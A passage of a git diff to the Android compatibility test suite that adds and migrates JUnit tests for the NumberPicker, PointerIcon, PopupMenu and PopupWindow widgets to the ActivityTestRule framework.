+        assertTrue(TextUtils.equals(NUMBER_NAMES3[2],
+                mNumberPicker.getDisplayedValueForCurrentSelection()));
+
+        // Set displayed values to null and test that the widget is using the formatter
+        mNumberPicker.setDisplayedValues(null);
+        assertTrue(TextUtils.equals("entry 3",
+                mNumberPicker.getDisplayedValueForCurrentSelection()));
+
+        mNumberPicker.setValue(1);
+        assertTrue(TextUtils.equals("entry 1",
+                mNumberPicker.getDisplayedValueForCurrentSelection()));
+
+        mNumberPicker.setValue(2);
+        assertTrue(TextUtils.equals("entry 2",
+                mNumberPicker.getDisplayedValueForCurrentSelection()));
+
+        // Set a different displayed values array and test that it's taking precedence
+        mNumberPicker.setDisplayedValues(NUMBER_NAMES_ALT3);
+        assertTrue(TextUtils.equals(NUMBER_NAMES_ALT3[1],
+                mNumberPicker.getDisplayedValueForCurrentSelection()));
+
+        mNumberPicker.setValue(1);
+        assertTrue(TextUtils.equals(NUMBER_NAMES_ALT3[0],
+                mNumberPicker.getDisplayedValueForCurrentSelection()));
+
+        mNumberPicker.setValue(3);
+        assertTrue(TextUtils.equals(NUMBER_NAMES_ALT3[2],
+                mNumberPicker.getDisplayedValueForCurrentSelection()));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAccessValue() {
+        mNumberPicker.setMinValue(20);
+        mNumberPicker.setMaxValue(22);
+        mNumberPicker.setDisplayedValues(NUMBER_NAMES3);
+
+        final NumberPicker.OnValueChangeListener mockValueChangeListener =
+                mock(NumberPicker.OnValueChangeListener.class);
+        mNumberPicker.setOnValueChangedListener(mockValueChangeListener);
+
+        mNumberPicker.setValue(21);
+        assertEquals(21, mNumberPicker.getValue());
+
+        mNumberPicker.setValue(20);
+        assertEquals(20, mNumberPicker.getValue());
+
+        mNumberPicker.setValue(22);
+        assertEquals(22, mNumberPicker.getValue());
+
+        // Check trying to set value out of min/max range
+        mNumberPicker.setValue(10);
+        assertEquals(20, mNumberPicker.getValue());
+
+        mNumberPicker.setValue(100);
+        assertEquals(22, mNumberPicker.getValue());
+
+        // Since all changes to value are via API calls, we should have no interactions /
+        // callbacks on our listener.
+        verifyZeroInteractions(mockValueChangeListener);
+    }
+
+    private boolean isWatch() {
+        return (mActivity.getResources().getConfiguration().uiMode
+                & Configuration.UI_MODE_TYPE_WATCH) == Configuration.UI_MODE_TYPE_WATCH;
+    }
+
+    @Test
+    public void testInteractionWithSwipeDown() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mNumberPicker.setMinValue(6);
+            mNumberPicker.setMaxValue(8);
+            mNumberPicker.setDisplayedValues(NUMBER_NAMES_ALT3);
+        });
+
+        final NumberPicker.OnValueChangeListener mockValueChangeListener =
+                mock(NumberPicker.OnValueChangeListener.class);
+        mNumberPicker.setOnValueChangedListener(mockValueChangeListener);
+
+        final NumberPicker.OnScrollListener mockScrollListener =
+                mock(NumberPicker.OnScrollListener.class);
+        mNumberPicker.setOnScrollListener(mockScrollListener);
+
+        mActivityRule.runOnUiThread(() -> mNumberPicker.setValue(7));
+        assertEquals(7, mNumberPicker.getValue());
+
+        // Swipe down across our number picker
+        final int[] numberPickerLocationOnScreen = new int[2];
+        mNumberPicker.getLocationOnScreen(numberPickerLocationOnScreen);
+
+        CtsTouchUtils.emulateDragGesture(mInstrumentation,
+                numberPickerLocationOnScreen[0] + mNumberPicker.getWidth() / 2,
+                numberPickerLocationOnScreen[1] + 1,
+                0,
+                mNumberPicker.getHeight() - 2);
+
+        // At this point we expect that the drag-down gesture has selected the value
+        // that was "above" the previously selected one, and that our value change listener
+        // has been notified of that change exactly once.
+        assertEquals(6, mNumberPicker.getValue());
+        verify(mockValueChangeListener, times(1)).onValueChange(mNumberPicker, 7, 6);
+        verifyNoMoreInteractions(mockValueChangeListener);
+
+        // We expect that our scroll listener will be called with specific state changes.
+        InOrder inOrder = inOrder(mockScrollListener);
+        inOrder.verify(mockScrollListener).onScrollStateChange(mNumberPicker,
+                NumberPicker.OnScrollListener.SCROLL_STATE_TOUCH_SCROLL);
+        if (!isWatch()) {
+            inOrder.verify(mockScrollListener).onScrollStateChange(mNumberPicker,
+                    NumberPicker.OnScrollListener.SCROLL_STATE_FLING);
+        }
+        inOrder.verify(mockScrollListener).onScrollStateChange(mNumberPicker,
+                NumberPicker.OnScrollListener.SCROLL_STATE_IDLE);
+        verifyNoMoreInteractions(mockScrollListener);
+    }
+
+    @Test
+    public void testInteractionWithSwipeUp() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mNumberPicker.setMinValue(10);
+            mNumberPicker.setMaxValue(12);
+            mNumberPicker.setDisplayedValues(NUMBER_NAMES_ALT3);
+        });
+
+        final NumberPicker.OnValueChangeListener mockValueChangeListener =
+                mock(NumberPicker.OnValueChangeListener.class);
+        mNumberPicker.setOnValueChangedListener(mockValueChangeListener);
+
+        final NumberPicker.OnScrollListener mockScrollListener =
+                mock(NumberPicker.OnScrollListener.class);
+        mNumberPicker.setOnScrollListener(mockScrollListener);
+
+        mActivityRule.runOnUiThread(() -> mNumberPicker.setValue(11));
+        assertEquals(11, mNumberPicker.getValue());
+
+        // Swipe up across our number picker
+        final int[] numberPickerLocationOnScreen = new int[2];
+        mNumberPicker.getLocationOnScreen(numberPickerLocationOnScreen);
+
+        CtsTouchUtils.emulateDragGesture(mInstrumentation,
+                numberPickerLocationOnScreen[0] + mNumberPicker.getWidth() / 2,
+                numberPickerLocationOnScreen[1] + mNumberPicker.getHeight() - 1,
+                0,
+                - (mNumberPicker.getHeight() - 2));
+
+        // At this point we expect that the drag-up gesture has selected the value
+        // that was "below" the previously selected one, and that our value change listener
+        // has been notified of that change exactly once.
+        assertEquals(12, mNumberPicker.getValue());
+        verify(mockValueChangeListener, times(1)).onValueChange(mNumberPicker, 11, 12);
+        verifyNoMoreInteractions(mockValueChangeListener);
+
+        // We expect that our scroll listener will be called with specific state changes.
+        InOrder inOrder = inOrder(mockScrollListener);
+        inOrder.verify(mockScrollListener).onScrollStateChange(mNumberPicker,
+                NumberPicker.OnScrollListener.SCROLL_STATE_TOUCH_SCROLL);
+        if (!isWatch()) {
+            inOrder.verify(mockScrollListener).onScrollStateChange(mNumberPicker,
+                    NumberPicker.OnScrollListener.SCROLL_STATE_FLING);
+        }
+        inOrder.verify(mockScrollListener).onScrollStateChange(mNumberPicker,
+                NumberPicker.OnScrollListener.SCROLL_STATE_IDLE);
+        verifyNoMoreInteractions(mockScrollListener);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAccessWrapSelectorValue() {
+        mNumberPicker.setMinValue(100);
+        mNumberPicker.setMaxValue(200);
+        // As specified in the Javadocs of NumberPicker.setWrapSelectorWheel, when min/max
+        // range is larger than what the widget is showing, the selector wheel is enabled.
+        assertTrue(mNumberPicker.getWrapSelectorWheel());
+
+        mNumberPicker.setWrapSelectorWheel(false);
+        assertFalse(mNumberPicker.getWrapSelectorWheel());
+
+        mNumberPicker.setWrapSelectorWheel(true);
+        assertTrue(mNumberPicker.getWrapSelectorWheel());
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/PointerIconCtsActivity.java b/tests/tests/widget/src/android/widget/cts/PointerIconCtsActivity.java
new file mode 100644
index 0000000..c0c6b78
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/PointerIconCtsActivity.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PointerIconCtsActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        setContentView(R.layout.pointer_icon_layout);
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/PointerIconTest.java b/tests/tests/widget/src/android/widget/cts/PointerIconTest.java
new file mode 100644
index 0000000..fe985b2
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/PointerIconTest.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.app.Activity;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.MotionEvent;
+import android.view.PointerIcon;
+import android.view.View;
+import android.widget.TabHost;
+import android.widget.TabWidget;
+import android.widget.TextView;
+
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PointerIconTest {
+
+    @Rule
+    public final ActivityTestRule<PointerIconCtsActivity> mActivityRule =
+            new ActivityTestRule<>(PointerIconCtsActivity.class);
+
+    private Activity mActivity;
+    private View mTopView;
+    private PointerIcon mHandIcon;
+    private PointerIcon mHelpIcon;
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mTopView = mActivity.findViewById(R.id.top);
+        mHandIcon = PointerIcon.getSystemIcon(mActivity, PointerIcon.TYPE_HAND);
+        mHelpIcon = PointerIcon.getSystemIcon(mActivity, PointerIcon.TYPE_HELP);
+    }
+
+    private void assertPointerIcon(String message, PointerIcon expectedIcon, View target) {
+        final int[] topPos = mTopView.getLocationOnScreen();
+        final int[] targetPos = target.getLocationOnScreen();
+        final int x = targetPos[0] + target.getWidth() / 2 - topPos[0];
+        final int y = targetPos[1] + target.getHeight() / 2 - topPos[1];
+        final MotionEvent event = MotionEvent.obtain(0, 0, MotionEvent.ACTION_HOVER_MOVE, x, y, 0);
+        assertEquals(message, expectedIcon, mTopView.onResolvePointerIcon(event, 0));
+    }
+
+    private void assertDefaultWidgetPointerIconBehavior(View view) {
+        assertPointerIcon("Default pointer icon", mHandIcon, view);
+
+        view.setEnabled(false);
+        assertPointerIcon("Disabled view has no pointer icon", null, view);
+
+        view.setEnabled(true);
+        assertPointerIcon("Enabled view has default pointer icon", mHandIcon, view);
+
+        view.setPointerIcon(mHelpIcon);
+        assertPointerIcon("Override pointer icon", mHelpIcon, view);
+
+        view.setPointerIcon(null);
+        assertPointerIcon("Revert to default pointer icon", mHandIcon, view);
+    }
+
+    private TabHost.TabSpec createTabSpec(TabHost tabHost, String label, PointerIcon pointerIcon) {
+        final TextView tabIndicator = new TextView(mActivity);
+        tabIndicator.setText(label);
+        tabIndicator.setPointerIcon(pointerIcon);
+        return tabHost.newTabSpec(label)
+                .setIndicator(tabIndicator)
+                .setContent(tag -> new View(mActivity));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testButton() {
+        assertDefaultWidgetPointerIconBehavior(mActivity.findViewById(R.id.button));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testImageButton() {
+        assertDefaultWidgetPointerIconBehavior(mActivity.findViewById(R.id.image_button));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSpinnerButton() {
+        assertDefaultWidgetPointerIconBehavior(mActivity.findViewById(R.id.spinner));
+    }
+
+    @Test
+    public void testTabWidget() throws Throwable {
+        final TabHost tabHost = (TabHost) mActivity.findViewById(android.R.id.tabhost);
+
+        WidgetTestUtils.runOnMainAndLayoutSync(
+                mActivityRule,
+                () -> {
+                    tabHost.setup();
+                    tabHost.addTab(createTabSpec(tabHost, "Tab 0", null));
+                    tabHost.addTab(createTabSpec(tabHost, "Tab 1", mHandIcon));
+                    tabHost.addTab(createTabSpec(tabHost, "Tab 2", mHelpIcon));
+                },
+                false /* force layout */);
+
+        mActivityRule.runOnUiThread(() -> {
+            final TabWidget tabWidget = tabHost.getTabWidget();
+
+            tabWidget.setEnabled(false);
+            assertPointerIcon("Disabled Tab 0", null, tabWidget.getChildTabViewAt(0));
+            assertPointerIcon("Disabled Tab 1", null, tabWidget.getChildTabViewAt(1));
+            assertPointerIcon("Disabled Tab 2", null, tabWidget.getChildTabViewAt(2));
+
+            tabWidget.setEnabled(true);
+            assertPointerIcon("Tab 0", mHandIcon, tabWidget.getChildTabViewAt(0));
+            assertPointerIcon("Tab 1", mHandIcon, tabWidget.getChildTabViewAt(1));
+            assertPointerIcon("Tab 2", mHelpIcon, tabWidget.getChildTabViewAt(2));
+        });
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java b/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
index ee38448..5ce73a8 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
@@ -16,66 +16,75 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+
 import android.app.Activity;
 import android.app.Instrumentation;
-import android.os.SystemClock;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.Gravity;
 import android.view.Menu;
 import android.view.MenuInflater;
 import android.view.MenuItem;
-import android.view.MotionEvent;
 import android.view.SubMenu;
 import android.view.View;
 import android.widget.EditText;
+import android.widget.ListView;
 import android.widget.PopupMenu;
 
-import static org.mockito.Mockito.*;
+import com.android.compatibility.common.util.CtsTouchUtils;
+import com.android.compatibility.common.util.WidgetTestUtils;
 
-@SmallTest
-public class PopupMenuTest extends
-        ActivityInstrumentationTestCase2<PopupMenuCtsActivity> {
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class PopupMenuTest {
     private Instrumentation mInstrumentation;
     private Activity mActivity;
 
     private Builder mBuilder;
     private PopupMenu mPopupMenu;
 
-    public PopupMenuTest() {
-        super("android.widget.cts", PopupMenuCtsActivity.class);
+    @Rule
+    public ActivityTestRule<PopupMenuCtsActivity> mActivityRule =
+            new ActivityTestRule<>(PopupMenuCtsActivity.class);
+
+
+    @UiThreadTest
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+
+        // Disable and remove focusability on the first child of our activity so that
+        // it doesn't bring in the soft keyboard that can mess up with some of the tests
+        // (such as menu dismissal when we emulate a tap outside the menu bounds).
+        final EditText editText = (EditText) mActivity.findViewById(R.id.anchor_upper_left);
+        editText.setEnabled(false);
+        editText.setFocusable(false);
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mInstrumentation = getInstrumentation();
-        mActivity = getActivity();
-
-        try {
-            runTestOnUiThread(() -> {
-                // Disable and remove focusability on the first child of our activity so that
-                // it doesn't bring in the soft keyboard that can mess up with some of the tests
-                // (such as menu dismissal when we emulate a tap outside the menu bounds).
-                final EditText editText = (EditText) mActivity.findViewById(R.id.anchor_upper_left);
-                editText.setEnabled(false);
-                editText.setFocusable(false);
-            });
-        } catch (Throwable t) {
-            throw new RuntimeException(t);
-        }
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void teardown() throws Throwable {
         if (mPopupMenu != null) {
-            try {
-                runTestOnUiThread(() -> mPopupMenu.dismiss());
-            } catch (Throwable t) {
-                throw new RuntimeException(t);
-            }
+            mActivityRule.runOnUiThread(mPopupMenu::dismiss);
         }
-        super.tearDown();
     }
 
     private void verifyMenuContent() {
@@ -95,84 +104,93 @@
         assertEquals(R.id.action_share_circles, shareSubMenu.getItem(1).getItemId());
     }
 
+    @Test
     public void testPopulateViaInflater() throws Throwable {
         mBuilder = new Builder().inflateWithInflater(true);
-        runTestOnUiThread(() -> mBuilder.show());
+        mActivityRule.runOnUiThread(mBuilder::show);
         mInstrumentation.waitForIdleSync();
 
         verifyMenuContent();
     }
 
+    @Test
     public void testDirectPopulate() throws Throwable {
         mBuilder = new Builder().inflateWithInflater(false);
-        runTestOnUiThread(() -> mBuilder.show());
+        mActivityRule.runOnUiThread(mBuilder::show);
         mInstrumentation.waitForIdleSync();
 
         verifyMenuContent();
     }
 
+    @Test
     public void testAccessGravity() throws Throwable {
         mBuilder = new Builder();
-        runTestOnUiThread(() -> mBuilder.show());
+        mActivityRule.runOnUiThread(mBuilder::show);
 
         assertEquals(Gravity.NO_GRAVITY, mPopupMenu.getGravity());
         mPopupMenu.setGravity(Gravity.TOP);
         assertEquals(Gravity.TOP, mPopupMenu.getGravity());
     }
 
+    @Test
     public void testConstructorWithGravity() throws Throwable {
         mBuilder = new Builder().withGravity(Gravity.TOP);
-        runTestOnUiThread(() -> mBuilder.show());
+        mActivityRule.runOnUiThread(mBuilder::show);
 
         assertEquals(Gravity.TOP, mPopupMenu.getGravity());
     }
 
+    @Test
     public void testDismissalViaAPI() throws Throwable {
         mBuilder = new Builder().withDismissListener();
-        runTestOnUiThread(() -> mBuilder.show());
+        mActivityRule.runOnUiThread(mBuilder::show);
 
         mInstrumentation.waitForIdleSync();
         verify(mBuilder.mOnDismissListener, never()).onDismiss(mPopupMenu);
 
-        runTestOnUiThread(() -> mPopupMenu.dismiss());
+        mActivityRule.runOnUiThread(mPopupMenu::dismiss);
         mInstrumentation.waitForIdleSync();
         verify(mBuilder.mOnDismissListener, times(1)).onDismiss(mPopupMenu);
 
-        runTestOnUiThread(() -> mPopupMenu.dismiss());
+        mActivityRule.runOnUiThread(mPopupMenu::dismiss);
         mInstrumentation.waitForIdleSync();
         // Shouldn't have any more interactions with our dismiss listener since the menu was
         // already dismissed when we called dismiss()
         verifyNoMoreInteractions(mBuilder.mOnDismissListener);
     }
 
+    @Test
     public void testNestedDismissalViaAPI() throws Throwable {
         // Use empty popup style to remove all transitions from the popup. That way we don't
         // need to synchronize with the popup window enter transition before proceeding to
         // "click" a submenu item.
         mBuilder = new Builder().withDismissListener()
                 .withPopupStyleResource(R.style.PopupWindow_NullTransitions);
-        runTestOnUiThread(() -> mBuilder.show());
+        mActivityRule.runOnUiThread(mBuilder::show);
         mInstrumentation.waitForIdleSync();
         verify(mBuilder.mOnDismissListener, never()).onDismiss(mPopupMenu);
 
-        runTestOnUiThread(() -> mPopupMenu.getMenu().performIdentifierAction(R.id.action_share, 0));
+        mActivityRule.runOnUiThread(
+                () -> mPopupMenu.getMenu().performIdentifierAction(R.id.action_share, 0));
         mInstrumentation.waitForIdleSync();
 
-        runTestOnUiThread(() -> mPopupMenu.getMenu().findItem(R.id.action_share).getSubMenu().
+        mActivityRule.runOnUiThread(
+                () -> mPopupMenu.getMenu().findItem(R.id.action_share).getSubMenu().
                         performIdentifierAction(R.id.action_share_email, 0));
         mInstrumentation.waitForIdleSync();
 
-        runTestOnUiThread(() -> mPopupMenu.dismiss());
+        mActivityRule.runOnUiThread(mPopupMenu::dismiss);
         mInstrumentation.waitForIdleSync();
         verify(mBuilder.mOnDismissListener, times(1)).onDismiss(mPopupMenu);
 
-        runTestOnUiThread(() -> mPopupMenu.dismiss());
+        mActivityRule.runOnUiThread(mPopupMenu::dismiss);
         mInstrumentation.waitForIdleSync();
         // Shouldn't have any more interactions with our dismiss listener since the menu was
         // already dismissed when we called dismiss()
         verifyNoMoreInteractions(mBuilder.mOnDismissListener);
     }
 
+    @Test
     public void testDismissalViaTouch() throws Throwable {
         // Use empty popup style to remove all transitions from the popup. That way we don't
         // need to synchronize with the popup window enter transition before proceeding to
@@ -180,60 +198,32 @@
         mBuilder = new Builder().withDismissListener()
                 .withPopupMenuContent(R.menu.popup_menu_single)
                 .withPopupStyleResource(R.style.PopupWindow_NullTransitions);
-        runTestOnUiThread(() -> mBuilder.show());
+        mActivityRule.runOnUiThread(mBuilder::show);
         mInstrumentation.waitForIdleSync();
 
-        // Determine the location of the anchor on the screen so that we can emulate
-        // a tap outside of the popup bounds to dismiss the popup
-        final int[] anchorOnScreenXY = new int[2];
-        mBuilder.mAnchor.getLocationOnScreen(anchorOnScreenXY);
-
-        int emulatedTapX = anchorOnScreenXY[0] + 10;
-        int emulatedTapY = anchorOnScreenXY[1] - 20;
-
-        // The logic below uses Instrumentation to emulate a tap outside the bounds of the
+        // The call below uses Instrumentation to emulate a tap outside the bounds of the
         // displayed popup menu. This tap is then treated by the framework to be "split" as
         // the ACTION_OUTSIDE for the popup itself, as well as DOWN / MOVE / UP for the underlying
         // view root if the popup is not modal.
         // It is not correct to emulate these two sequences separately in the test, as it
-        // wouldn't emulate the user-facing interaction for this test. Note that usage
-        // of Instrumentation is necessary here since Espresso's actions operate at the level
-        // of view or data. Also, we don't want to use View.dispatchTouchEvent directly as
-        // that would require emulation of two separate sequences as well.
-
-        // Inject DOWN event
-        long downTime = SystemClock.uptimeMillis();
-        MotionEvent eventDown = MotionEvent.obtain(
-                downTime, downTime, MotionEvent.ACTION_DOWN, emulatedTapX, emulatedTapY, 1);
-        mInstrumentation.sendPointerSync(eventDown);
-
-        // Inject MOVE event
-        long moveTime = SystemClock.uptimeMillis();
-        MotionEvent eventMove = MotionEvent.obtain(
-                moveTime, moveTime, MotionEvent.ACTION_MOVE, emulatedTapX, emulatedTapY, 1);
-        mInstrumentation.sendPointerSync(eventMove);
-
-        // Inject UP event
-        long upTime = SystemClock.uptimeMillis();
-        MotionEvent eventUp = MotionEvent.obtain(
-                upTime, upTime, MotionEvent.ACTION_UP, emulatedTapX, emulatedTapY, 1);
-        mInstrumentation.sendPointerSync(eventUp);
-
-        // Wait for the system to process all events in the queue
-        mInstrumentation.waitForIdleSync();
+        // wouldn't emulate the user-facing interaction for this test. Also, we don't want to use
+        // View.dispatchTouchEvent directly as that would require emulation of two separate
+        // sequences as well.
+        CtsTouchUtils.emulateTapOnView(mInstrumentation, mBuilder.mAnchor, 10, -20);
 
         // At this point our popup should have notified its dismiss listener
         verify(mBuilder.mOnDismissListener, times(1)).onDismiss(mPopupMenu);
     }
 
+    @Test
     public void testSimpleMenuItemClickViaAPI() throws Throwable {
         mBuilder = new Builder().withMenuItemClickListener().withDismissListener();
-        runTestOnUiThread(() -> mBuilder.show());
+        mActivityRule.runOnUiThread(mBuilder::show);
 
         // Verify that our menu item click listener hasn't been called yet
         verify(mBuilder.mOnMenuItemClickListener, never()).onMenuItemClick(any(MenuItem.class));
 
-        runTestOnUiThread(
+        mActivityRule.runOnUiThread(
                 () -> mPopupMenu.getMenu().performIdentifierAction(R.id.action_highlight, 0));
 
         // Verify that our menu item click listener has been called with the expected menu item
@@ -245,26 +235,29 @@
         verifyNoMoreInteractions(mBuilder.mOnDismissListener);
     }
 
+    @Test
     public void testSubMenuClickViaAPI() throws Throwable {
         // Use empty popup style to remove all transitions from the popup. That way we don't
         // need to synchronize with the popup window enter transition before proceeding to
         // "click" a submenu item.
         mBuilder = new Builder().withDismissListener().withMenuItemClickListener()
                 .withPopupStyleResource(R.style.PopupWindow_NullTransitions);
-        runTestOnUiThread(() -> mBuilder.show());
+        mActivityRule.runOnUiThread(mBuilder::show);
         mInstrumentation.waitForIdleSync();
 
         // Verify that our menu item click listener hasn't been called yet
         verify(mBuilder.mOnMenuItemClickListener, never()).onMenuItemClick(any(MenuItem.class));
 
-        runTestOnUiThread(() -> mPopupMenu.getMenu().performIdentifierAction(R.id.action_share, 0));
+        mActivityRule.runOnUiThread(
+                () -> mPopupMenu.getMenu().performIdentifierAction(R.id.action_share, 0));
         // Verify that our menu item click listener has been called on "share" action
         // and that the dismiss listener hasn't been called just as a result of opening the submenu.
         verify(mBuilder.mOnMenuItemClickListener, times(1)).onMenuItemClick(
                 mPopupMenu.getMenu().findItem(R.id.action_share));
         verify(mBuilder.mOnDismissListener, never()).onDismiss(mPopupMenu);
 
-        runTestOnUiThread(() -> mPopupMenu.getMenu().findItem(R.id.action_share).getSubMenu().
+        mActivityRule.runOnUiThread(
+                () -> mPopupMenu.getMenu().findItem(R.id.action_share).getSubMenu().
                         performIdentifierAction(R.id.action_share_email, 0));
 
         // Verify that out menu item click listener has been called with the expected menu item
@@ -278,6 +271,38 @@
         verifyNoMoreInteractions(mBuilder.mOnDismissListener);
     }
 
+    @Test
+    public void testItemViewAttributes() throws Throwable {
+        mBuilder = new Builder().withDismissListener();
+        WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule, mBuilder::show, true);
+
+        Menu menu = mPopupMenu.getMenu();
+        ListView menuItemList = mPopupMenu.getMenuListView();
+
+        for (int i = 0; i != menu.size(); i++) {
+            MenuItem item = menu.getItem(i);
+            View itemView = null;
+            // On smaller screens, not all menu items will be visible.
+            if (i < menuItemList.getChildCount()) {
+                itemView = menuItemList.getChildAt(i);
+                assertNotNull(itemView);
+            }
+
+            if (i < 2) {
+                assertNotNull(item.getContentDescription());
+                assertNotNull(item.getTooltipText());
+            } else {
+                assertNull(item.getContentDescription());
+                assertNull(item.getTooltipText());
+            }
+            if (itemView != null) {
+                // Tooltips are not set on list-based menus.
+                assertNull(itemView.getTooltipText());
+                assertEquals(item.getContentDescription(), itemView.getContentDescription());
+            }
+        }
+    }
+
     /**
      * Inner helper class to configure an instance of {@link PopupMenu} for the specific test.
      * The main reason for its existence is that once a popup menu is shown with the show() method,
diff --git a/tests/tests/widget/src/android/widget/cts/PopupWindowCtsActivity.java b/tests/tests/widget/src/android/widget/cts/PopupWindowCtsActivity.java
index 418f04a..a2e7c60 100755
--- a/tests/tests/widget/src/android/widget/cts/PopupWindowCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupWindowCtsActivity.java
@@ -19,6 +19,7 @@
 import android.app.Activity;
 import android.os.Bundle;
 import android.widget.PopupWindow;
+import android.content.res.Configuration;
 import android.widget.cts.R;
 
 /**
@@ -30,5 +31,19 @@
         super.onCreate(savedInstanceState);
         setContentView(R.layout.popup_window);
     }
+
+    @Override
+    public void onConfigurationChanged(Configuration c) {
+        super.onConfigurationChanged(c);
+        synchronized (this) {
+            this.notifyAll();
+        }
+    }
+
+    void waitForConfigurationChanged() throws InterruptedException {
+        synchronized (this) {
+            this.wait(10000);
+        }
+    }
 }
 
diff --git a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
index 918a161..a9b5a13 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
@@ -16,6 +16,11 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
 import static org.mockito.Matchers.anyInt;
 import static org.mockito.Mockito.any;
 import static org.mockito.Mockito.mock;
@@ -24,16 +29,20 @@
 import static org.mockito.Mockito.verify;
 import static org.mockito.Mockito.when;
 
-import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
+import android.content.pm.ActivityInfo;
+import android.content.res.Configuration;
 import android.graphics.Color;
 import android.graphics.Rect;
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
 import android.os.SystemClock;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.transition.Transition;
 import android.transition.Transition.TransitionListener;
 import android.transition.TransitionValues;
@@ -50,34 +59,36 @@
 import android.widget.PopupWindow;
 import android.widget.PopupWindow.OnDismissListener;
 import android.widget.TextView;
-import android.widget.cts.R;
 
-public class PopupWindowTest extends
-        ActivityInstrumentationTestCase2<PopupWindowCtsActivity> {
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PopupWindowTest {
+    private static final int WINDOW_SIZE_DP = 50;
+    private static final int CONTENT_SIZE_DP = 30;
+
     private Instrumentation mInstrumentation;
-    private Activity mActivity;
-    /** The popup window. */
+    private PopupWindowCtsActivity mActivity;
     private PopupWindow mPopupWindow;
+    private TextView mTextView;
 
-    /**
-     * Instantiates a new popup window test.
-     */
-    public PopupWindowTest() {
-        super("android.widget.cts", PopupWindowCtsActivity.class);
+    @Rule
+    public ActivityTestRule<PopupWindowCtsActivity> mActivityRule =
+            new ActivityTestRule<>(PopupWindowCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
